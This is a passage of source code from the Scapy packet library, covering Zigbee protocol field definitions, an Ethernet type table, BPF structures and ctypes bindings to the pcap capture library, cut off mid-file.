lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 5: Rejoin ConditionalField(BitField("rejoin", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # Bit 0 - 4: Reserved ConditionalField(BitField("reserved", 0, 5), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 # - Route Record Command - # # Relay count (1 octet) ConditionalField(ByteField("rr_relay_count", 0), lambda pkt: pkt.cmd_identifier == 5), # noqa: E501 # Relay list (variable in length) ConditionalField( FieldListField("rr_relay_list", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.rr_relay_count), # noqa: E501 lambda pkt:pkt.cmd_identifier == 5), # - Rejoin Request Command - # # Capability Information (1 octet) ConditionalField(BitField("allocate_address", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Allocate Address # noqa: E501 ConditionalField(BitField("security_capability", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Security Capability # noqa: E501 ConditionalField(BitField("reserved2", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 5 is reserved # noqa: E501 ConditionalField(BitField("reserved1", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 4 is reserved # noqa: E501 ConditionalField(BitField("receiver_on_when_idle", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Receiver On When Idle # noqa: E501 ConditionalField(BitField("power_source", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Power Source # noqa: E501 ConditionalField(BitField("device_type", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Device Type # noqa: E501 ConditionalField(BitField("alternate_pan_coordinator", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Alternate PAN Coordinator # noqa: E501 # - Rejoin Response Command - # # Network address (2 octets) ConditionalField(XLEShortField("network_address", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 # Rejoin status (1 octet) ConditionalField(ByteField("rejoin_status", 0), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 # - Link Status Command - # # Command options (1 octet) ConditionalField(BitField("reserved", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Reserved # noqa: E501 ConditionalField(BitField("last_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Last frame # noqa: E501 ConditionalField(BitField("first_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # First frame # noqa: E501 ConditionalField(BitField("entry_count", 0, 5), lambda pkt:pkt.cmd_identifier == 8), # Entry count # noqa: E501 # Link status list (variable size) ConditionalField( PacketListField("link_status_list", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count), # noqa: E501 lambda pkt:pkt.cmd_identifier == 8), # - Network Report Command - # # Command options (1 octet) ConditionalField( BitEnumField("report_command_identifier", 0, 3, {0: "PAN identifier conflict"}), # 0x01 - 0x07 Reserved # noqa: E501 lambda pkt: pkt.cmd_identifier == 9), ConditionalField(BitField("report_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 # EPID: Extended PAN ID (8 octets) ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 # Report information (variable length) # Only present if we have a PAN Identifier Conflict Report ConditionalField( FieldListField("PAN_ID_conflict_report", [], XLEShortField("", 0x0000), # noqa: E501 count_from=lambda pkt:pkt.report_information_count), lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0) # noqa: E501 ), # - Network Update Command - # # Command options (1 octet) ConditionalField( BitEnumField("update_command_identifier", 0, 3, {0: "PAN Identifier Update"}), # 0x01 - 0x07 Reserved # noqa: E501 lambda pkt: pkt.cmd_identifier == 10), ConditionalField(BitField("update_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 # EPID: Extended PAN ID (8 octets) ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 # Update Id (1 octet) ConditionalField(ByteField("update_id", 0), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 # Update Information (Variable) # Only present if we have a PAN Identifier Update # New PAN ID (2 octets) ConditionalField(XLEShortField("new_PAN_ID", 0x0000), lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)), # noqa: E501 # - End Device Timeout Request Command - # # Requested Timeout (1 octet) ConditionalField( ByteEnumField("req_timeout", 3, { 0: "10 seconds", 1: "2 minutes", 2: "4 minutes", 3: "8 minutes", 4: "16 minutes", 5: "32 minutes", 6: "64 minutes", 7: "128 minutes", 8: "256 minutes", 9: "512 minutes", 10: "1024 minutes", 11: "2048 minutes", 12: "4096 minutes", 13: "8192 minutes", 14: "16384 minutes" }), lambda pkt: pkt.cmd_identifier == 11), # End Device Configuration (1 octet) ConditionalField( ByteField("ed_conf", 0), lambda pkt: pkt.cmd_identifier == 11), # - End Device Timeout Response Command - # # Status (1 octet) ConditionalField( ByteEnumField("status", 0, { 0: "Success", 1: "Incorrect Value" }), lambda pkt: pkt.cmd_identifier == 12), # Parent Information (1 octet) ConditionalField( BitField("reserved", 0, 6), lambda pkt: pkt.cmd_identifier == 12), ConditionalField( BitField("ed_timeout_req_keepalive", 0, 1), lambda pkt: pkt.cmd_identifier == 12), ConditionalField( BitField("mac_data_poll_keepalive", 0, 1), lambda pkt: pkt.cmd_identifier == 12) # StrField("data", ""), ] def util_mic_len(pkt): ''' Calculate the length of the attribute value field ''' if (pkt.nwk_seclevel == 0): # no encryption, no mic return 0 elif (pkt.nwk_seclevel == 1): # MIC-32 return 4 elif (pkt.nwk_seclevel == 2): # MIC-64 return 8 elif (pkt.nwk_seclevel == 3): # MIC-128 return 16 elif (pkt.nwk_seclevel == 4): # ENC return 0 elif (pkt.nwk_seclevel == 5): # ENC-MIC-32 return 4 elif (pkt.nwk_seclevel == 6): # ENC-MIC-64 return 8 elif (pkt.nwk_seclevel == 7): # ENC-MIC-128 return 16 else: return 0 class ZigbeeSecurityHeader(Packet): name = "Zigbee Security Header" fields_desc = [ # Security control (1 octet) FlagsField("reserved1", 0, 2, ['reserved1', 'reserved2']), BitField("extended_nonce", 1, 1), # set to 1 if the sender address field is present (source) # noqa: E501 # Key identifier BitEnumField("key_type", 1, 2, { 0: 'data_key', 1: 'network_key', 2: 'key_transport_key', 3: 'key_load_key' }), # Security level (3 bits) BitEnumField("nwk_seclevel", 0, 3, { 0: "None", 1: "MIC-32", 2: "MIC-64", 3: "MIC-128", 4: "ENC", 5: "ENC-MIC-32", 6: "ENC-MIC-64", 7: "ENC-MIC-128" }), # Frame counter (4 octets) XLEIntField("fc", 0), # provide frame freshness and prevent duplicate frames # noqa: E501 # Source address (0/8 octets) ConditionalField(dot15d4AddressField("source", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce), # noqa: E501 # Key sequence number (0/1 octet): only present when key identifier is 1 (network key) # noqa: E501 ConditionalField(ByteField("key_seqnum", 0), lambda pkt: pkt.getfieldval("key_type") == 1), # noqa: E501 # Payload # the length of the encrypted data is the payload length minus the MIC StrField("data", ""), # noqa: E501 # Message Integrity Code (0/variable in size), length depends on nwk_seclevel # noqa: E501 XStrField("mic", ""), ] def post_dissect(self, s): # Get the mic dissected correctly mic_length = util_mic_len(self) if mic_length > 0: # Slice "data" into "data + mic" _data, _mic = self.data[:-mic_length], self.data[-mic_length:] self.data, self.mic = _data, _mic return s class ZigbeeAppDataPayload(Packet): name = "Zigbee Application Layer Data Payload (General APS Frame Format)" fields_desc = [ # Frame control (1 octet) FlagsField("frame_control", 2, 4, ['ack_format', 'security', 'ack_req', 'extended_hdr']), BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 1: 'indirect', 2: 'broadcast', 3: 'group_addressing'}), BitEnumField("aps_frametype", 0, 2, {0: 'data', 1: 'command', 2: 'ack'}), # Destination endpoint (0/1 octet) ConditionalField( ByteField("dst_endpoint", 10), lambda pkt: ((pkt.aps_frametype == 0 and pkt.delivery_mode in [0, 2]) or (pkt.aps_frametype == 2 and not pkt.frame_control.ack_format)) ), # Group address (0/2 octets) ConditionalField( XLEShortField("group_addr", 0x0000), lambda pkt: (pkt.aps_frametype == 0 and pkt.delivery_mode == 3) ), # Cluster identifier (0/2 octets) ConditionalField( # unsigned short (little-endian) EnumField("cluster", 0, _zcl_cluster_identifier, fmt="= 10 and pkt.cmd_identifier <= 13)), # Tunnel Command ConditionalField( dot15d4AddressField("dest_addr", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( FlagsField("frame_control", 2, 4, [ "ack_format", "security", "ack_req", "extended_hdr" ]), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( BitEnumField("delivery_mode", 0, 2, { 0: "unicast", 1: "indirect", 2: "broadcast", 3: "group_addressing" }), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( BitEnumField("aps_frametype", 1, 2, { 0: "data", 1: "command", 2: "ack" }), lambda pkt: pkt.cmd_identifier == 14), ConditionalField( ByteField("counter", 0), lambda pkt: pkt.cmd_identifier == 14), # Verify-Key Command ConditionalField( ByteEnumField("key_type", 0, _TransportKeyKeyTypes), lambda pkt: pkt.cmd_identifier == 15), ConditionalField( dot15d4AddressField("address", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 15), ConditionalField( StrFixedLenField("key_hash", None, 16), lambda pkt: pkt.cmd_identifier == 15), # Confirm-Key Command ConditionalField( ByteEnumField("status", 0, _ApsStatusValues), lambda pkt: pkt.cmd_identifier == 16), ConditionalField( ByteEnumField("key_type", 0, _TransportKeyKeyTypes), lambda pkt: pkt.cmd_identifier == 16), ConditionalField( dot15d4AddressField("address", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 16) ] def guess_payload_class(self, payload): if self.cmd_identifier == 14: # Tunneled APS Auxiliary Header return ZigbeeSecurityHeader else: return Packet.guess_payload_class(self, payload) class ZigBeeBeacon(Packet): name = "ZigBee Beacon Payload" fields_desc = [ # Protocol ID (1 octet) ByteField("proto_id", 0), # nwkcProtocolVersion (4 bits) BitField("nwkc_protocol_version", 0, 4), # Stack profile (4 bits) BitField("stack_profile", 0, 4), # End device capacity (1 bit) BitField("end_device_capacity", 0, 1), # Device depth (4 bits) BitField("device_depth", 0, 4), # Router capacity (1 bit) BitField("router_capacity", 0, 1), # Reserved (2 bits) BitField("reserved", 0, 2), # Extended PAN ID (8 octets) dot15d4AddressField("extended_pan_id", 0, adjust=lambda pkt, x: 8), # Tx offset (3 bytes) # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value. # noqa: E501 BitField("tx_offset", 0, 24), # Update ID (1 octet) ByteField("update_id", 0), ] # Inter-PAN Transmission # class ZigbeeNWKStub(Packet): name = "Zigbee Network Layer for Inter-PAN Transmission" fields_desc = [ # NWK frame control BitField("reserved", 0, 2), # remaining subfields shall have a value of 0 # noqa: E501 BitField("proto_version", 2, 4), BitField("frametype", 0b11, 2), # 0b11 (3) is a reserved frame type BitField("reserved", 0, 8), # remaining subfields shall have a value of 0 # noqa: E501 ] def guess_payload_class(self, payload): if self.frametype == 0b11: return ZigbeeAppDataPayloadStub else: return Packet.guess_payload_class(self, payload) class ZigbeeAppDataPayloadStub(Packet): name = "Zigbee Application Layer Data Payload for Inter-PAN Transmission" fields_desc = [ FlagsField("frame_control", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']), # noqa: E501 BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}), # noqa: E501 BitField("frametype", 3, 2), # value 0b11 (3) is a reserved frame type # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode) # noqa: E501 ConditionalField( XLEShortField("group_addr", 0x0), # 16-bit identifier of the group lambda pkt: pkt.getfieldval("delivery_mode") == 0b11 ), # Cluster identifier EnumField("cluster", 0, _zcl_cluster_identifier, fmt="= 4: v = orb(_pkt[2]) if v == 1: return ZEP1 elif v == 2: return ZEP2 return cls def guess_payload_class(self, payload): if self.lqi_mode: return Dot15d4 else: return Dot15d4FCS class ZEP1(ZEP2): name = "Zigbee Encapsulation Protocol (V1)" fields_desc = [ StrFixedLenField("preamble", "EX", length=2), ByteField("ver", 0), ByteField("channel", 0), ShortField("device", 0), ByteField("lqi_mode", 0), ByteField("lqi_val", 0), BitField("res", 0, 56), # 7 bytes reserved field ByteField("len", 0), ] # Bindings # # TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py) # Currently: use conf.dot15d4_protocol value # bind_layers( Dot15d4Data, ZigbeeNWK) bind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1) bind_layers(Dot15d4Beacon, ZigBeeBeacon) bind_bottom_up(UDP, ZEP2, sport=17754) bind_bottom_up(UDP, ZEP2, sport=17754) bind_layers(UDP, ZEP2, sport=17754, dport=17754) scapy-2.4.4/scapy/libs/000077500000000000000000000000001372370053500147155ustar00rootroot00000000000000scapy-2.4.4/scapy/libs/__init__.py000066400000000000000000000002511372370053500170240ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # This program is published under a GPLv2 license """ Library bindings """ scapy-2.4.4/scapy/libs/ethertypes.py000066400000000000000000000204171372370053500174670ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information """ /* * Copyright (c) 1982, 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_ether.h 8.1 (Berkeley) 6/10/93 */ """ # This file contains data automatically generated using # scapy/tools/generate_ethertypes.py # based on OpenBSD public source. DATA = b""" # # Ethernet frame types # This file describes some of the various Ethernet # protocol types that are used on Ethernet networks. # # This list could be found on: # http://www.iana.org/assignments/ethernet-numbers # http://www.iana.org/assignments/ieee-802-numbers # # ... #Comment # 8023 0004 # IEEE 802.3 packet PUP 0200 # Xerox PUP protocol - see 0A00 PUPAT 0200 # PUP Address Translation - see 0A01 NS 0600 # XNS NSAT 0601 # XNS Address Translation (3Mb only) DLOG1 0660 # DLOG (?) DLOG2 0661 # DLOG (?) IPv4 0800 # IP protocol X75 0801 # X.75 Internet NBS 0802 # NBS Internet ECMA 0803 # ECMA Internet CHAOS 0804 # CHAOSnet X25 0805 # X.25 Level 3 ARP 0806 # Address resolution protocol FRARP 0808 # Frame Relay ARP (RFC1701) VINES 0BAD # Banyan VINES TRAIL 1000 # Trailer packet DCA 1234 # DCA - Multicast VALID 1600 # VALID system protocol RCL 1995 # Datapoint Corporation (RCL lan protocol) NBPCC 3C04 # 3Com NBP Connect complete not registered NBPDG 3C07 # 3Com NBP Datagram (like XNS IDP) not registered PCS 4242 # PCS Basic Block Protocol IMLBL 4C42 # Information Modes Little Big LAN MOPDL 6001 # DEC MOP dump/load MOPRC 6002 # DEC MOP remote console LAT 6004 # DEC LAT SCA 6007 # DEC LAVC, SCA AMBER 6008 # DEC AMBER RAWFR 6559 # Raw Frame Relay (RFC1701) UBDL 7000 # Ungermann-Bass download UBNIU 7001 # Ungermann-Bass NIUs UBNMC 7003 # Ungermann-Bass ??? (NMC to/from UB Bridge) UBBST 7005 # Ungermann-Bass Bridge Spanning Tree OS9 7007 # OS/9 Microware RACAL 7030 # Racal-Interlan HP 8005 # HP Probe TIGAN 802F # Tigan, Inc. DECAM 8048 # DEC Availability Manager for Distributed Systems DECamds (but someone at DEC says not) VEXP 805B # Stanford V Kernel exp. VPROD 805C # Stanford V Kernel prod. ES 805D # Evans & Sutherland VEECO 8067 # Veeco Integrated Auto. ATT 8069 # AT&T MATRA 807A # Matra DDE 807B # Dansk Data Elektronik MERIT 807C # Merit Internodal (or Univ of Michigan?) ATALK 809B # AppleTalk PACER 80C6 # Pacer Software SNA 80D5 # IBM SNA Services over Ethernet RETIX 80F2 # Retix AARP 80F3 # AppleTalk AARP VLAN 8100 # IEEE 802.1Q VLAN tagging (XXX conflicts) BOFL 8102 # Wellfleet; BOFL (Breath OF Life) pkts [every 5-10 secs.] HAYES 8130 # Hayes Microcomputers (XXX which?) VGLAB 8131 # VG Laboratory Systems IPX 8137 # Novell (old) NetWare IPX (ECONFIG E option) MUMPS 813F # M/MUMPS data sharing FLIP 8146 # Vrije Universiteit (NL) FLIP (Fast Local Internet Protocol) NCD 8149 # Network Computing Devices ALPHA 814A # Alpha Micro SNMP 814C # SNMP over Ethernet (see RFC1089) XTP 817D # Protocol Engines XTP SGITW 817E # SGI/Time Warner prop. STP 8181 # Scheduled Transfer STP, HIPPI-ST IPv6 86DD # IP protocol version 6 RDP 8739 # Control Technology Inc. RDP Without IP MICP 873A # Control Technology Inc. Mcast Industrial Ctrl Proto. IPAS 876C # IP Autonomous Systems (RFC1701) SLOW 8809 # 803.3ad slow protocols (LACP/Marker) PPP 880B # PPP (obsolete by PPPOE) MPLS 8847 # MPLS Unicast AXIS 8856 # Axis Communications AB proprietary bootstrap/config PPPOE 8864 # PPP Over Ethernet Session Stage PAE 888E # 802.1X Port Access Entity AOE 88A2 # ATA over Ethernet QINQ 88A8 # 802.1ad VLAN stacking LLDP 88CC # Link Layer Discovery Protocol PBB 88E7 # 802.1Q Provider Backbone Bridging XNSSM 9001 # 3Com (Formerly Bridge Communications), XNS Systems Management TCPSM 9002 # 3Com (Formerly Bridge Communications), TCP/IP Systems Management DEBNI AAAA # DECNET? Used by VAX 6220 DEBNI SONIX FAF5 # Sonix Arpeggio VITAL FF00 # BBN VITAL-LanBridge cache wakeups MAX FFFF # Maximum valid ethernet type, reserved """ scapy-2.4.4/scapy/libs/structures.py000066400000000000000000000011611372370053500175110ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # This program is published under a GPLv2 license """ Commonly used structures shared across Scapy """ import ctypes class bpf_insn(ctypes.Structure): """"The BPF instruction data structure""" _fields_ = [("code", ctypes.c_ushort), ("jt", ctypes.c_ubyte), ("jf", ctypes.c_ubyte), ("k", ctypes.c_int)] class bpf_program(ctypes.Structure): """"Structure for BIOCSETF""" _fields_ = [('bf_len', ctypes.c_int), ('bf_insns', ctypes.POINTER(bpf_insn))] scapy-2.4.4/scapy/libs/winpcapy.py000066400000000000000000000746701372370053500171370ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Massimo Ciani (2009) # Gabriel Potter (2016-2019) # This program is published under a GPLv2 license # Modified for scapy's usage - To support Npcap/Monitor mode from ctypes import * from ctypes.util import find_library import os from scapy.libs.structures import bpf_program from scapy.consts import WINDOWS if WINDOWS: # Try to load Npcap, or Winpcap SOCKET = c_uint npcap_folder = os.environ["WINDIR"] + "\\System32\\Npcap" if os.path.exists(npcap_folder): # Try to load npcap os.environ['PATH'] = npcap_folder + ";" + os.environ['PATH'] # Set DLL directory priority windll.kernel32.SetDllDirectoryW(npcap_folder) # Packet.dll is unused, but needs to overwrite the winpcap one if it # exists cdll.LoadLibrary(npcap_folder + "\\Packet.dll") _lib = cdll.LoadLibrary(npcap_folder + "\\wpcap.dll") else: _lib = CDLL("wpcap.dll") del npcap_folder else: # Try to load libpcap SOCKET = c_int _lib_name = find_library("pcap") if not _lib_name: raise OSError("Cannot find libpcap.so library") _lib = CDLL(_lib_name) ## # misc ## u_short = c_ushort bpf_int32 = c_int u_int = c_int bpf_u_int32 = u_int pcap = c_void_p pcap_dumper = c_void_p u_char = c_ubyte FILE = c_void_p STRING = c_char_p class bpf_version(Structure): _fields_ = [("bv_major", c_ushort), ("bv_minor", c_ushort)] class timeval(Structure): _fields_ = [('tv_sec', c_long), ('tv_usec', c_long)] # sockaddr is used by pcap_addr. # For example if sa_family==socket.AF_INET then we need cast # with sockaddr_in if WINDOWS: class sockaddr(Structure): _fields_ = [("sa_family", c_ushort), ("sa_data", c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_family", c_ushort), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte)] class sockaddr_in6(Structure): _fields_ = [("sin6_family", c_ushort), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] else: class sockaddr(Structure): _fields_ = [("sa_len", c_ubyte), ("sa_family", c_ubyte), ("sa_data", c_ubyte * 14)] class sockaddr_in(Structure): _fields_ = [("sin_len", c_ubyte), ("sin_family", c_ubyte), ("sin_port", c_uint16), ("sin_addr", 4 * c_ubyte), ("sin_zero", 8 * c_char)] class sockaddr_in6(Structure): _fields_ = [("sin6_len", c_ubyte), ("sin6_family", c_ubyte), ("sin6_port", c_uint16), ("sin6_flowinfo", c_uint32), ("sin6_addr", 16 * c_ubyte), ("sin6_scope", c_uint32)] class sockaddr_dl(Structure): _fields_ = [("sdl_len", c_ubyte), ("sdl_family", c_ubyte), ("sdl_index", c_ushort), ("sdl_type", c_ubyte), ("sdl_nlen", c_ubyte), ("sdl_alen", c_ubyte), ("sdl_slen", c_ubyte), ("sdl_data", 46 * c_ubyte)] ## # END misc ## ## # Data Structures ## # struct pcap_file_header # Header of a libpcap dump file. class pcap_file_header(Structure): _fields_ = [('magic', bpf_u_int32), ('version_major', u_short), ('version_minor', u_short), ('thiszone', bpf_int32), ('sigfigs', bpf_u_int32), ('snaplen', bpf_u_int32), ('linktype', bpf_u_int32)] # struct pcap_pkthdr # Header of a packet in the dump file. class pcap_pkthdr(Structure): _fields_ = [('ts', timeval), ('caplen', bpf_u_int32), ('len', bpf_u_int32)] # struct pcap_stat # Structure that keeps statistical values on an interface. class pcap_stat(Structure): pass # _fields_ list in Structure is final. # We need a temp list _tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)] if WINDOWS: _tmpList.append(("ps_capt", c_uint)) _tmpList.append(("ps_sent", c_uint)) _tmpList.append(("ps_netdrop", c_uint)) pcap_stat._fields_ = _tmpList # struct pcap_addr # Representation of an interface address, used by pcap_findalldevs(). class pcap_addr(Structure): pass pcap_addr._fields_ = [('next', POINTER(pcap_addr)), ('addr', POINTER(sockaddr)), ('netmask', POINTER(sockaddr)), ('broadaddr', POINTER(sockaddr)), ('dstaddr', POINTER(sockaddr))] # struct pcap_if # Item in a list of interfaces, used by pcap_findalldevs(). class pcap_if(Structure): pass pcap_if._fields_ = [('next', POINTER(pcap_if)), ('name', STRING), ('description', STRING), ('addresses', POINTER(pcap_addr)), ('flags', bpf_u_int32)] ## # END Data Structures ## ## # Defines ## # define PCAP_VERSION_MAJOR 2 # Major libpcap dump file version. PCAP_VERSION_MAJOR = 2 # define PCAP_VERSION_MINOR 4 # Minor libpcap dump file version. PCAP_VERSION_MINOR = 4 # define PCAP_ERRBUF_SIZE 256 # Size to use when allocating the buffer that contains the libpcap errors. PCAP_ERRBUF_SIZE = 256 # define PCAP_IF_LOOPBACK 0x00000001 # interface is loopback PCAP_IF_LOOPBACK = 1 # define MODE_CAPT 0 # Capture mode, to be used when calling pcap_setmode(). MODE_CAPT = 0 # define MODE_STAT 1 # Statistical mode, to be used when calling pcap_setmode(). MODE_STAT = 1 ## # END Defines ## ## # Typedefs ## # typedef int bpf_int32 (already defined) # 32-bit integer # typedef u_int bpf_u_int32 (already defined) # 32-bit unsigned integer # typedef struct pcap pcap_t # Descriptor of an open capture instance. This structure is opaque to the # user, that handles its content through the functions provided by # wpcap.dll. pcap_t = pcap # typedef struct pcap_dumper pcap_dumper_t # libpcap savefile descriptor. pcap_dumper_t = pcap_dumper # typedef struct pcap_if pcap_if_t # Item in a list of interfaces, see pcap_if. pcap_if_t = pcap_if # typedef struct pcap_addr pcap_addr_t # Representation of an interface address, see pcap_addr. pcap_addr_t = pcap_addr ## # END Typedefs ## # values for enumeration 'pcap_direction_t' # pcap_direction_t = c_int # enum ## # Unix-compatible Functions # These functions are part of the libpcap library, and therefore work both on Windows and on Linux. ## # typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Prototype of the callback function that receives the packets. # This one is defined from programmer pcap_handler = CFUNCTYPE( None, POINTER(c_ubyte), POINTER(pcap_pkthdr), POINTER(c_ubyte) ) # pcap_t * pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf) # Open a live capture from the network. pcap_open_live = _lib.pcap_open_live pcap_open_live.restype = POINTER(pcap_t) pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING] # pcap_t * pcap_open_dead (int linktype, int snaplen) # Create a pcap_t structure without starting a capture. pcap_open_dead = _lib.pcap_open_dead pcap_open_dead.restype = POINTER(pcap_t) pcap_open_dead.argtypes = [c_int, c_int] # pcap_t * pcap_open_offline (const char *fname, char *errbuf) # Open a savefile in the tcpdump/libpcap format to read packets. pcap_open_offline = _lib.pcap_open_offline pcap_open_offline.restype = POINTER(pcap_t) pcap_open_offline.argtypes = [STRING, STRING] try: # NPCAP/LINUX ONLY function # int pcap_set_rfmon (pcap_t *p) # sets whether monitor mode should be set on a capture handle when the # handle is activated. pcap_set_rfmon = _lib.pcap_set_rfmon pcap_set_rfmon.restype = c_int pcap_set_rfmon.argtypes = [POINTER(pcap_t), c_int] # int pcap_create (pcap_t *p) # create a packet capture handle to look at packets on the network. pcap_create = _lib.pcap_create pcap_create.restype = POINTER(pcap_t) pcap_create.argtypes = [STRING, STRING] # int pcap_set_snaplen(pcap_t *p, int snaplen) # set the snapshot length for a not-yet-activated capture handle pcap_set_snaplen = _lib.pcap_set_snaplen pcap_set_snaplen.restype = c_int pcap_set_snaplen.argtypes = [POINTER(pcap_t), c_int] # int pcap_set_promisc(pcap_t *p, int promisc) # set promiscuous mode for a not-yet-activated capture handle pcap_set_promisc = _lib.pcap_set_promisc pcap_set_promisc.restype = c_int pcap_set_promisc.argtypes = [POINTER(pcap_t), c_int] # int pcap_set_timeout(pcap_t *p, int to_ms) # set the packet buffer timeout for a not-yet-activated capture handle pcap_set_timeout = _lib.pcap_set_timeout pcap_set_timeout.restype = c_int pcap_set_timeout.argtypes = [POINTER(pcap_t), c_int] # int pcap_activate(pcap_t *p) # activate a capture handle pcap_activate = _lib.pcap_activate pcap_activate.restype = c_int pcap_activate.argtypes = [POINTER(pcap_t)] except AttributeError: pass # pcap_dumper_t * pcap_dump_open (pcap_t *p, const char *fname) # Open a file to write packets. pcap_dump_open = _lib.pcap_dump_open pcap_dump_open.restype = POINTER(pcap_dumper_t) pcap_dump_open.argtypes = [POINTER(pcap_t), STRING] # int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf) # Switch between blocking and nonblocking mode. pcap_setnonblock = _lib.pcap_setnonblock pcap_setnonblock.restype = c_int pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING] # int pcap_getnonblock (pcap_t *p, char *errbuf) # Get the "non-blocking" state of an interface. pcap_getnonblock = _lib.pcap_getnonblock pcap_getnonblock.restype = c_int pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING] # int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf) # Construct a list of network devices that can be opened with # pcap_open_live(). pcap_findalldevs = _lib.pcap_findalldevs pcap_findalldevs.restype = c_int pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING] # void pcap_freealldevs (pcap_if_t *alldevsp) # Free an interface list returned by pcap_findalldevs(). pcap_freealldevs = _lib.pcap_freealldevs pcap_freealldevs.restype = None pcap_freealldevs.argtypes = [POINTER(pcap_if_t)] # char * pcap_lookupdev (char *errbuf) # Return the first valid device in the system. pcap_lookupdev = _lib.pcap_lookupdev pcap_lookupdev.restype = STRING pcap_lookupdev.argtypes = [STRING] # int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) # Return the subnet and netmask of an interface. pcap_lookupnet = _lib.pcap_lookupnet pcap_lookupnet.restype = c_int pcap_lookupnet.argtypes = [ STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING ] # int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_dispatch = _lib.pcap_dispatch pcap_dispatch.restype = c_int pcap_dispatch.argtypes = [ POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char) ] # int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user) # Collect a group of packets. pcap_loop = _lib.pcap_loop pcap_loop.restype = c_int pcap_loop.argtypes = [POINTER(pcap_t), c_int, 